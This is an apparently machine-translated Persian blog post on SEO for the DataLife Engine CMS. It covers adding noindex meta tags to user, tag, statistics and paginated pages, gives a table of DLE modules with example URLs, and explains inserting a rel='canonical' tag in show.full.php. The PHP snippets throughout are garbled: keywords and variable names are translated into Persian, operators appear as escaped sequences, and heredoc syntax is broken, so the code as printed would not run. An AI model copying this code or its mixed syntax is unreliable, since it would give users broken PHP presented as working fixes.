اگر ($ اشتراک \u003d\u003d "userinfo" یا $ subaction \u003d\u003d "allnews" یا $ subaction \u003d\u003d "newposts" یا $ do \u003d\u003d "stats" یا $ do \u003d\u003d "addnews" یا $ do \u003d\u003d "ثبت نام" یا $ $ do \u003d\u003d "مورد علاقه" یا $ do \u003d\u003d "PM" یا $ DO \u003d\u003d "PM" یا $ do \u003d\u003d "بازخورد" یا $ do \u003d\u003d "Lastcomments" یا $ do \u003d\u003d "lostpassword" یا $ do \u003d\u003d "جستجو" یا $ do \u003d\u003d "LastNews" یا $ do \u003d\u003d "alltags" یا $ do \u003d\u003d "برچسب ها" یا $ dle_module \u003d\u003d "تاریخ") $ metatags. \u003d<< HTML؛

اگر می خواهید از نمایه سازی صفحه صفحه بندی نزدیک شوید، مانند site.ru/page/x/ یا site.ru/category/page/x/، سپس شما باید یک خط اضافه کنید:

(intval ($ _get ["cstart"])\u003e 1)

(intval ($ _ get ["cstart"])\u003e 1)

به عنوان یک نتیجه، کد بالا به این تبدیل می شود:

اگر ($ اشتراک \u003d\u003d "userinfo" یا $ subaction \u003d\u003d "allnews" یا ... $ dle_module \u003d\u003d "تاریخ" یا (intval ($ _GET ["cstart"])\u003e 1)) $ metatags. \u003d << html;

اگر ($ اشتراک \u003d\u003d "userinfo" یا $ subaction \u003d\u003d "allnews" یا ... $ dle_module \u003d\u003d "تاریخ" یا (intval ($ _ get ["cstart"])\u003e 1)) $ metatags \u003d<< HTML؛

در حال حاضر من توضیح خواهم داد که هر کدام از موارد موجود چه معنی دارد، و من یک نشانه فوق العاده را برای شما آماده کردم.

مدولشرحURL مثال
اطلاعات کاربر.مشاهده مشخصات کاربر.site.ru/user/user_name/
allnewsمشاهده یک خبر خاص کاربر.site.ru/user/user_name/news/
newpostsمشاهده محصولات جدید، به صورت جداگانه برای هر کاربر، فقط برای ثبت نام، مهمانان یک خطا را نشان می دهند.site.ru/newposts/
آمارسایت آمار سایت و کاربران Top10.site.ru/statistics.html.
addnewsصفحه اخبار را در سایت اضافه کنیدsite.ru/addnews.html
ثبت نامصفحه جدید فرم ثبت نام کاربرsite.ru/index.php؟do\u003dregister
مورد علاقه هامشاهده مورد علاقه خود را، به صورت جداگانه برای هر کاربر، فقط برای ثبت نام در دسترس است، مهمانان یک خطا را نشان می دهند.site.ru/favorites/
قوانینصفحه قوانین سایت، که قبل از ثبت نام نشان داده شده است، که به عنوان یک صفحه جداگانه وجود دارد.site.ru/Rules.html.
pM.پیام های شخصی را توسط کاربر یا فرم ارسال یک پیام خصوصی به هر سایت کاربر مشاهده کنید.site.ru/index.php؟do\u003dpm.
بازخوردصفحه بازخوردsite.ru/feedback.html
lastcommentsمشاهده تمام نظرات به انتشار در سایت در جهت زمان سنجی معکوس.site.ru/index.php؟do\u003dlastComments
رمز فراموش شده.صفحه بازیابی رمز عبورsite.ru/index.php؟do\u003dlostpassword.
جستجو کردن.بخش جستجو سایتsite.ru/index.php؟do\u003dsearch
آخرین اخبار.مشاهده تمام آخرین اخبار اخبار. کپی دقیق صفحه اصلی سایت و تمام صفحات صفحه بندی.site.ru/lastnews/
altagsصفحه تمام برچسب های سایت را مشاهده کنید.site.ru/tags/
برچسب هامشاهده نشریات با برچسب خاص.site.ru/tags/tagroname/
تاریخ.بایگانی سایت فهرست نشریات برای یک سال خاص یا ماه یا روز.site.ru/2007/ یا site.ru/2007/06/ یا site.ru/2007/06/22/

* مهمترین لحظه - هنگامی که شما از فهرست نمایه سازی صفحه، روش توصیف شده، لازم است که قوانین ممنوعیت در robots.txt را برای صفحات و پارتیشن هایی که ما با کمک متا تگ بسته بودیم، حذف کنیم. در غیر این صورت، هیچ معنایی نخواهد بود.

در اختیار شما، می توانید برخی از قطعات را از کد نشان داده شده توسط من حذف کنید، بخش هایی که به طور خاص برای سایت شما مورد نیاز نیستند، حذف کنید. به طوری که، لطفا مراقب باش.

برچسب rel \u003d "canonical" را برای صفحات مشاهده کامل اضافه کنید

ارتباط: همه نسخه های DLE. چک شده توسط 7.x، 8.x، 9.x، 10.x.

من کسی را در نظرات یکی از قسمت های قبلی درخواست شده به یاد می آورم نحوه نمایش برچسب Rel \u003d "Canonical" در نشریات در سایتبنابراین، چه کسی تفسیر من را با توضیحات این روش مشاهده نکرد، خواندن.

فایل /engine/modules/show.full.php را باز کنید و ...

برای نسخه های DLE 7.x، 8.x، 9.0، 9.2 و 9.3 ما پیدا می کنیم:

) دیگر ($ full_link \u003d $ config ["http_home_url"]. "index.php؟ newsid \u003d" $ ردیف [id]؛ $ print_link \u003d $ config ["http_home_url"]. "Engine / print.php؟ newsid \u003d "$ ردیف [" id "]؛ $ short_link \u003d" "؛)

) دیگر ($ full_link \u003d $ config ["http_home_url"]. "index.php؟ newsid \u003d" $ ردیف [id]؛ $ print_link \u003d $ config ["http_home_url"]. "Engine / print.php؟ newsid \u003d "$ ردیف [" id "]؛ $ short_link \u003d" "؛)

برای نسخه های DLE 10.x (و همچنین برای 9.5، 9.6، 9.7 و 9.8) ما پیدا می کنیم:

) دیگر ($ full_link \u003d $ config ["http_home_url"]. "index.php؟ newsid \u003d" $ ردیف [id]؛ $ print_link \u003d $ config ["http_home_url"]. "Engine / print.php؟ newsid \u003d "$ ردیف [" id "]؛ $ short_link \u003d" "؛ $ link_page \u003d" "؛ $ news_name \u003d" "؛)

) دیگر ($ full_link \u003d $ config ["http_home_url"]. "index.php؟ newsid \u003d" $ ردیف [id]؛ $ print_link \u003d $ config ["http_home_url"]. "Engine / print.php؟ newsid \u003d "$ ردیف [" id "]؛ $ short_link \u003d" "؛ $ link_page \u003d" "؛ $ news_name \u003d" "؛)

زیر اضافه کردن)

اگر ($ full_canonical) ($ metatags \u003d<< HTML؛)

همانطور که بود، همه؛) چه کسی نیاز دارد، از سلامت استفاده کنید.

چیزی که احتمالا من در این پست توصیف کردم، از آنجا که اطلاعات شرح داده شده در اینجا برای مدت طولانی در سر من جمع آوری شده است و در نوت بوک ثبت نشده است. اما اگر چیزی را به یاد داشته باشید یا اشتباهات غیر معمول را در سایت خود پیدا کنید - مطمئن شوید که در نظرات بنویسید، من از یک راه حل برای مشکل شما فکر می کنم و آن را به پست اضافه خواهم کرد.

با تشکر از توجه شما، دوستان، در تماس باشید و عضویت در وبلاگ اخبار.

PS من مطمئن نیستم که آیا بخش بعدی رهبری خواهد بود، از آنجایی که در حال حاضر هیچ چیز برای نوشتن در آن وجود ندارد، همه چیز که می تواند مفید باشد، در سه بخش موجود توصیف شده است. اما شما هرگز نمی دانید ... این همه به شما و سوالات و پیشنهادات شما بستگی دارد!

زنگ.

کسانی هستند که این خبر را قبل از شما خوانده اند.
مشترک شدن برای دریافت مقالات تازه.
پست الکترونیک
نام
نام خانوادگی
چگونه می خواهید زنگ را بخوانید
بدون هرزنامه